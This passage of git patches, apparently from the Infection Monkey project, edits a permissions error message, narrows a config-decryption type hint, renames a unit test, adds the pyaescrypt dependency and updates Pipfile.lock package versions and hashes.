b/monkey/monkey_island/cc/services/utils/file_handling.py @@ -11,7 +11,7 @@ def ensure_file_existence(file: str) -> None: def ensure_file_permissions(file: str) -> None: if not file_has_expected_permissions(path=file, expected_permissions="0o400"): raise InsecurePermissionsError( - f"{file} has insecure permissions. Required permissions: r--------. Exiting." + f"{file} has insecure permissions. Required permissions: 400. Exiting." ) From c487a278fefa390dddd2f9e089dbe35ade29a7c9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Jun 2021 11:30:10 +0300 Subject: [PATCH 0686/1360] Fixed a type-hint for a config decryption method --- monkey/monkey_island/cc/services/utils/config_encryption.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 9c2858db30f..45a31c5b1c7 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -2,7 +2,7 @@ import io import json import logging -from typing import Dict, Union +from typing import Dict import pyAesCrypt @@ -27,7 +27,7 @@ def encrypt_config(config: Dict, password: str) -> str: return ciphertext_b64.decode() -def decrypt_config(cyphertext: Union[str, dict], password: str) -> Dict: +def decrypt_config(cyphertext: str, password: str) -> Dict: if not password: raise NoCredentialsError From e918ae1d2c68fa0eb984dddbe75732d5500ff4c1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Jun 2021 11:30:49 +0300 Subject: [PATCH 0687/1360] Renamed a unit test to be more specific: test_decrypt_config__no_password -> test_encrypt_decrypt_config__decrypt_no_password --- .../monkey_island/cc/services/utils/test_config_encryption.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 4bc21c0411f..14d8d6b165a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -43,7 +43,7 @@ def test_encrypt_decrypt_config__malformed(): decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) -def test_decrypt_config__no_password(plaintext_config): +def test_encrypt_decrypt_config__decrypt_no_password(plaintext_config): encrypted_config = encrypt_config(plaintext_config, PASSWORD) with pytest.raises(NoCredentialsError): decrypt_config(encrypted_config, "") From 1125b0fe4b59ee2e8cddddc24380da62a0c5b40d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Jun 2021 11:31:46 +0300 Subject: [PATCH 0688/1360] Added pyAesEncrypt to the Pipfile --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 710 ++++++++++++++++-------------- 2 files changed, 373 insertions(+), 338 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 212e08e86d1..fe24df4cb4d 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -30,6 +30,7 @@ Flask = ">=1.1" Werkzeug = ">=1.0.1" ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} PyJWT = "==1.7" +pyaescrypt = "*" [dev-packages] virtualenv = ">=20.0.26" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 7e9f1be72ae..0f69c3911f7 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "6734e0c45321194a1ec4ac2e91af8efb9b9dd9e7f02af146d01219dc64847a51" + "sha256": "94483f0315aa31ddeb508e5dc5ef4dcf424d09487c6ea01bc857082636df59cc" }, "pipfile-spec": 6, "requires": { @@ -46,11 +46,11 @@ }, "attrs": { "hashes": [ - "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", - "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700" + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==20.3.0" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" }, "awscli": { "hashes": [ @@ -91,22 +91,31 @@ }, "certifi": { "hashes": [ - "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", - "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" + "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", + "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" ], - "version": "==2020.12.5" + "version": "==2021.5.30" }, "cffi": { "hashes": [ "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", + "sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373", + "sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69", + "sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f", "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", + "sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05", "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", + "sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0", "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", + "sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7", + "sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f", "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", + "sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76", "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", + "sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed", "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", @@ -114,6 +123,7 @@ "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", + "sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55", "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", @@ -131,8 +141,10 @@ "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", + "sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc", "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", + "sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333", "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" ], @@ -173,18 +185,18 @@ }, "click": { "hashes": [ - "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", - "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" + "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", + "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==7.1.2" + "markers": "python_version >= '3.6'", + "version": "==8.0.1" }, "colorama": { "hashes": [ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4'", + "markers": "python_version != '3.4' and sys_platform == 'win32' and platform_system == 'Windows'", "version": "==0.4.3" }, "coloredlogs": { @@ -194,6 +206,24 @@ ], "version": "==10.0" }, + "cryptography": { + "hashes": [ + "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d", + "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959", + "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6", + "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873", + "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2", + "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713", + "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", + "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", + "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", + "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", + "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", + "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.7" + }, "docutils": { "hashes": [ "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0", @@ -212,11 +242,11 @@ }, "flask": { "hashes": [ - "sha256:4efa1ae2d7c9865af48986de8aeb8504bf32c7f3d6fdc9353d34b21f4b127060", - "sha256:8a4fdd8936eba2512e9c85df320a37e694c93945b33ef33c89946a340a238557" + "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55", + "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9" ], "index": "pypi", - "version": "==1.1.2" + "version": "==2.0.1" }, "flask-jwt-extended": { "hashes": [ @@ -235,11 +265,11 @@ }, "flask-restful": { "hashes": [ - "sha256:5ea9a5991abf2cb69b4aac19793faac6c032300505b325687d7c305ffaa76915", - "sha256:d891118b951921f1cec80cabb4db98ea6058a35e6404788f9e70d5b243813ec2" + "sha256:4970c49b6488e46c520b325f54833374dc2b98e211f1b272bd4b0c516232afe2", + "sha256:ccec650b835d48192138c85329ae03735e6ced58e9b2d9c2146d6c84c06fa53e" ], "index": "pypi", - "version": "==0.3.8" + "version": "==0.3.9" }, "future": { "hashes": [ @@ -284,52 +314,58 @@ }, "greenlet": { "hashes": [ - "sha256:0a77691f0080c9da8dfc81e23f4e3cffa5accf0f5b56478951016d7cfead9196", - "sha256:0ddd77586553e3daf439aa88b6642c5f252f7ef79a39271c25b1d4bf1b7cbb85", - "sha256:111cfd92d78f2af0bc7317452bd93a477128af6327332ebf3c2be7df99566683", - "sha256:122c63ba795fdba4fc19c744df6277d9cfd913ed53d1a286f12189a0265316dd", - "sha256:181300f826625b7fd1182205b830642926f52bd8cdb08b34574c9d5b2b1813f7", - "sha256:1a1ada42a1fd2607d232ae11a7b3195735edaa49ea787a6d9e6a53afaf6f3476", - "sha256:1bb80c71de788b36cefb0c3bb6bfab306ba75073dbde2829c858dc3ad70f867c", - "sha256:1d1d4473ecb1c1d31ce8fd8d91e4da1b1f64d425c1dc965edc4ed2a63cfa67b2", - "sha256:292e801fcb3a0b3a12d8c603c7cf340659ea27fd73c98683e75800d9fd8f704c", - "sha256:2c65320774a8cd5fdb6e117c13afa91c4707548282464a18cf80243cf976b3e6", - "sha256:4365eccd68e72564c776418c53ce3c5af402bc526fe0653722bc89efd85bf12d", - "sha256:5352c15c1d91d22902582e891f27728d8dac3bd5e0ee565b6a9f575355e6d92f", - "sha256:58ca0f078d1c135ecf1879d50711f925ee238fe773dfe44e206d7d126f5bc664", - "sha256:5d4030b04061fdf4cbc446008e238e44936d77a04b2b32f804688ad64197953c", - "sha256:5d69bbd9547d3bc49f8a545db7a0bd69f407badd2ff0f6e1a163680b5841d2b0", - "sha256:5f297cb343114b33a13755032ecf7109b07b9a0020e841d1c3cedff6602cc139", - "sha256:62afad6e5fd70f34d773ffcbb7c22657e1d46d7fd7c95a43361de979f0a45aef", - "sha256:647ba1df86d025f5a34043451d7c4a9f05f240bee06277a524daad11f997d1e7", - "sha256:719e169c79255816cdcf6dccd9ed2d089a72a9f6c42273aae12d55e8d35bdcf8", - "sha256:7cd5a237f241f2764324396e06298b5dee0df580cf06ef4ada0ff9bff851286c", - "sha256:875d4c60a6299f55df1c3bb870ebe6dcb7db28c165ab9ea6cdc5d5af36bb33ce", - "sha256:90b6a25841488cf2cb1c8623a53e6879573010a669455046df5f029d93db51b7", - "sha256:94620ed996a7632723a424bccb84b07e7b861ab7bb06a5aeb041c111dd723d36", - "sha256:b5f1b333015d53d4b381745f5de842f19fe59728b65f0fbb662dafbe2018c3a5", - "sha256:c5b22b31c947ad8b6964d4ed66776bcae986f73669ba50620162ba7c832a6b6a", - "sha256:c93d1a71c3fe222308939b2e516c07f35a849c5047f0197442a4d6fbcb4128ee", - "sha256:cdb90267650c1edb54459cdb51dab865f6c6594c3a47ebd441bc493360c7af70", - "sha256:cfd06e0f0cc8db2a854137bd79154b61ecd940dce96fad0cba23fe31de0b793c", - "sha256:d3789c1c394944084b5e57c192889985a9f23bd985f6d15728c745d380318128", - "sha256:da7d09ad0f24270b20f77d56934e196e982af0d0a2446120cb772be4e060e1a2", - "sha256:df3e83323268594fa9755480a442cabfe8d82b21aba815a71acf1bb6c1776218", - "sha256:df8053867c831b2643b2c489fe1d62049a98566b1646b194cc815f13e27b90df", - "sha256:e1128e022d8dce375362e063754e129750323b67454cac5600008aad9f54139e", - "sha256:e6e9fdaf6c90d02b95e6b0709aeb1aba5affbbb9ccaea5502f8638e4323206be", - "sha256:eac8803c9ad1817ce3d8d15d1bb82c2da3feda6bee1153eec5c58fa6e5d3f770", - "sha256:eb333b90036358a0e2c57373f72e7648d7207b76ef0bd00a4f7daad1f79f5203", - "sha256:ed1d1351f05e795a527abc04a0d82e9aecd3bdf9f46662c36ff47b0b00ecaf06", - "sha256:f3dc68272990849132d6698f7dc6df2ab62a88b0d36e54702a8fd16c0490e44f", - "sha256:f59eded163d9752fd49978e0bab7a1ff21b1b8d25c05f0995d140cc08ac83379", - "sha256:f5e2d36c86c7b03c94b8459c3bd2c9fe2c7dab4b258b8885617d44a22e453fb7", - "sha256:f6f65bf54215e4ebf6b01e4bb94c49180a589573df643735107056f7a910275b", - "sha256:f8450d5ef759dbe59f84f2c9f77491bb3d3c44bc1a573746daf086e70b14c243", - "sha256:f97d83049715fd9dec7911860ecf0e17b48d8725de01e45de07d8ac0bd5bc378" + "sha256:03f28a5ea20201e70ab70518d151116ce939b412961c33827519ce620957d44c", + "sha256:06d7ac89e6094a0a8f8dc46aa61898e9e1aec79b0f8b47b2400dd51a44dbc832", + "sha256:06ecb43b04480e6bafc45cb1b4b67c785e183ce12c079473359e04a709333b08", + "sha256:096cb0217d1505826ba3d723e8981096f2622cde1eb91af9ed89a17c10aa1f3e", + "sha256:0c557c809eeee215b87e8a7cbfb2d783fb5598a78342c29ade561440abae7d22", + "sha256:0de64d419b1cb1bfd4ea544bedea4b535ef3ae1e150b0f2609da14bbf48a4a5f", + "sha256:14927b15c953f8f2d2a8dffa224aa78d7759ef95284d4c39e1745cf36e8cdd2c", + "sha256:16183fa53bc1a037c38d75fdc59d6208181fa28024a12a7f64bb0884434c91ea", + "sha256:206295d270f702bc27dbdbd7651e8ebe42d319139e0d90217b2074309a200da8", + "sha256:22002259e5b7828b05600a762579fa2f8b33373ad95a0ee57b4d6109d0e589ad", + "sha256:2325123ff3a8ecc10ca76f062445efef13b6cf5a23389e2df3c02a4a527b89bc", + "sha256:258f9612aba0d06785143ee1cbf2d7361801c95489c0bd10c69d163ec5254a16", + "sha256:3096286a6072553b5dbd5efbefc22297e9d06a05ac14ba017233fedaed7584a8", + "sha256:3d13da093d44dee7535b91049e44dd2b5540c2a0e15df168404d3dd2626e0ec5", + "sha256:408071b64e52192869129a205e5b463abda36eff0cebb19d6e63369440e4dc99", + "sha256:598bcfd841e0b1d88e32e6a5ea48348a2c726461b05ff057c1b8692be9443c6e", + "sha256:5d928e2e3c3906e0a29b43dc26d9b3d6e36921eee276786c4e7ad9ff5665c78a", + "sha256:5f75e7f237428755d00e7460239a2482fa7e3970db56c8935bd60da3f0733e56", + "sha256:60848099b76467ef09b62b0f4512e7e6f0a2c977357a036de602b653667f5f4c", + "sha256:6b1d08f2e7f2048d77343279c4d4faa7aef168b3e36039cba1917fffb781a8ed", + "sha256:70bd1bb271e9429e2793902dfd194b653221904a07cbf207c3139e2672d17959", + "sha256:76ed710b4e953fc31c663b079d317c18f40235ba2e3d55f70ff80794f7b57922", + "sha256:7920e3eccd26b7f4c661b746002f5ec5f0928076bd738d38d894bb359ce51927", + "sha256:7db68f15486d412b8e2cfcd584bf3b3a000911d25779d081cbbae76d71bd1a7e", + "sha256:8833e27949ea32d27f7e96930fa29404dd4f2feb13cce483daf52e8842ec246a", + "sha256:944fbdd540712d5377a8795c840a97ff71e7f3221d3fddc98769a15a87b36131", + "sha256:9a6b035aa2c5fcf3dbbf0e3a8a5bc75286fc2d4e6f9cfa738788b433ec894919", + "sha256:9bdcff4b9051fb1aa4bba4fceff6a5f770c6be436408efd99b76fc827f2a9319", + "sha256:a9017ff5fc2522e45562882ff481128631bf35da444775bc2776ac5c61d8bcae", + "sha256:aa4230234d02e6f32f189fd40b59d5a968fe77e80f59c9c933384fe8ba535535", + "sha256:ad80bb338cf9f8129c049837a42a43451fc7c8b57ad56f8e6d32e7697b115505", + "sha256:adb94a28225005890d4cf73648b5131e885c7b4b17bc762779f061844aabcc11", + "sha256:b3090631fecdf7e983d183d0fad7ea72cfb12fa9212461a9b708ff7907ffff47", + "sha256:b33b51ab057f8a20b497ffafdb1e79256db0c03ef4f5e3d52e7497200e11f821", + "sha256:b97c9a144bbeec7039cca44df117efcbeed7209543f5695201cacf05ba3b5857", + "sha256:be13a18cec649ebaab835dff269e914679ef329204704869f2f167b2c163a9da", + "sha256:be9768e56f92d1d7cd94185bab5856f3c5589a50d221c166cc2ad5eb134bd1dc", + "sha256:c1580087ab493c6b43e66f2bdd165d9e3c1e86ef83f6c2c44a29f2869d2c5bd5", + "sha256:c35872b2916ab5a240d52a94314c963476c989814ba9b519bc842e5b61b464bb", + "sha256:c70c7dd733a4c56838d1f1781e769081a25fade879510c5b5f0df76956abfa05", + "sha256:c767458511a59f6f597bfb0032a1c82a52c29ae228c2c0a6865cfeaeaac4c5f5", + "sha256:c87df8ae3f01ffb4483c796fe1b15232ce2b219f0b18126948616224d3f658ee", + "sha256:ca1c4a569232c063615f9e70ff9a1e2fee8c66a6fb5caf0f5e8b21a396deec3e", + "sha256:cc407b68e0a874e7ece60f6639df46309376882152345508be94da608cc0b831", + "sha256:da862b8f7de577bc421323714f63276acb2f759ab8c5e33335509f0b89e06b8f", + "sha256:dfe7eac0d253915116ed0cd160a15a88981a1d194c1ef151e862a5c7d2f853d3", + "sha256:ed1377feed808c9c1139bdb6a61bcbf030c236dd288d6fca71ac26906ab03ba6", + "sha256:f42ad188466d946f1b3afc0a9e1a266ac8926461ee0786c06baac6bd71f8a6f3", + "sha256:f92731609d6625e1cc26ff5757db4d32b6b810d2a3363b0ff94ff573e5901f6f" ], "markers": "platform_python_implementation == 'CPython'", - "version": "==1.0.0" + "version": "==1.1.0" }, "httpagentparser": { "hashes": [ @@ -355,11 +391,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:2ec0faae539743ae6aaa84b49a169670a465f7f5d64e6add98388cc29fd1f2f6", - "sha256:c9356b657de65c53744046fa8f7358afe0714a1af7d570c00c3835c2d724a7c1" + "sha256:833b26fb89d5de469b24a390e9df088d4e52e4ba33b01dc5e0e4f41b81a16c00", + "sha256:b142cc1dd1342f31ff04bb7d022492b09920cb64fed867cd3ea6f80fe3ebd139" ], "markers": "python_version < '3.8'", - "version": "==3.10.1" + "version": "==4.5.0" }, "ipaddress": { "hashes": [ @@ -371,11 +407,11 @@ }, "itsdangerous": { "hashes": [ - "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19", - "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749" + "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", + "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.1.0" + "markers": "python_version >= '3.6'", + "version": "==2.0.1" }, "jaraco.classes": { "hashes": [ @@ -411,11 +447,11 @@ }, "jinja2": { "hashes": [ - "sha256:03e47ad063331dd6a3f04a43eddca8a966a26ba0c5b7207a9a9e4e08f1b29419", - "sha256:a6d58433de0ae800347cab1fa3043cebbabe8baa9d29e668f1c768cb87a333c6" + "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4", + "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==2.11.3" + "markers": "python_version >= '3.6'", + "version": "==3.0.1" }, "jmespath": { "hashes": [ @@ -435,61 +471,43 @@ }, "markupsafe": { "hashes": [ - "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", - "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", - "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", - "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", - "sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42", - "sha256:195d7d2c4fbb0ee8139a6cf67194f3973a6b3042d742ebe0a9ed36d8b6f0c07f", - "sha256:22c178a091fc6630d0d045bdb5992d2dfe14e3259760e713c490da5323866c39", - "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", - "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", - "sha256:2beec1e0de6924ea551859edb9e7679da6e4870d32cb766240ce17e0a0ba2014", - "sha256:3b8a6499709d29c2e2399569d96719a1b21dcd94410a586a18526b143ec8470f", - "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", - "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", - "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", - "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", - "sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b", - "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", - "sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15", - "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", - "sha256:6f1e273a344928347c1290119b493a1f0303c52f5a5eae5f16d74f48c15d4a85", - "sha256:6fffc775d90dcc9aed1b89219549b329a9250d918fd0b8fa8d93d154918422e1", - "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", - "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", - "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", - "sha256:7fed13866cf14bba33e7176717346713881f56d9d2bcebab207f7a036f41b850", - "sha256:84dee80c15f1b560d55bcfe6d47b27d070b4681c699c572af2e3c7cc90a3b8e0", - "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", - "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", - "sha256:98bae9582248d6cf62321dcb52aaf5d9adf0bad3b40582925ef7c7f0ed85fceb", - "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", - "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", - "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", - "sha256:a6a744282b7718a2a62d2ed9d993cad6f5f585605ad352c11de459f4108df0a1", - "sha256:acf08ac40292838b3cbbb06cfe9b2cb9ec78fce8baca31ddb87aaac2e2dc3bc2", - "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", - "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", - "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", - "sha256:b1dba4527182c95a0db8b6060cc98ac49b9e2f5e64320e2b56e47cb2831978c7", - "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", - "sha256:b7d644ddb4dbd407d31ffb699f1d140bc35478da613b441c582aeb7c43838dd8", - "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6", - "sha256:bf5aa3cbcfdf57fa2ee9cd1822c862ef23037f5c832ad09cfea57fa846dec193", - "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f", - "sha256:caabedc8323f1e93231b52fc32bdcde6db817623d33e100708d9a68e1f53b26b", - "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f", - "sha256:cdb132fc825c38e1aeec2c8aa9338310d29d337bebbd7baa06889d09a60a1fa2", - "sha256:d53bc011414228441014aa71dbec320c66468c1030aae3a6e29778a3382d96e5", - "sha256:d73a845f227b0bfe8a7455ee623525ee656a9e2e749e4742706d80a6065d5e2c", - "sha256:d9be0ba6c527163cbed5e0857c451fcd092ce83947944d6c14bc95441203f032", - "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7", - "sha256:e8313f01ba26fbbe36c7be1966a7b7424942f670f38e666995b88d012765b9be", - "sha256:feb7b34d6325451ef96bc0e36e1a6c0c1c64bc1fbec4b854f4529e51887b1621" + "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", + "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", + "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", + "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", + "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", + "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", + "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", + "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", + "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", + "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", + "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", + "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", + "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", + "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", + 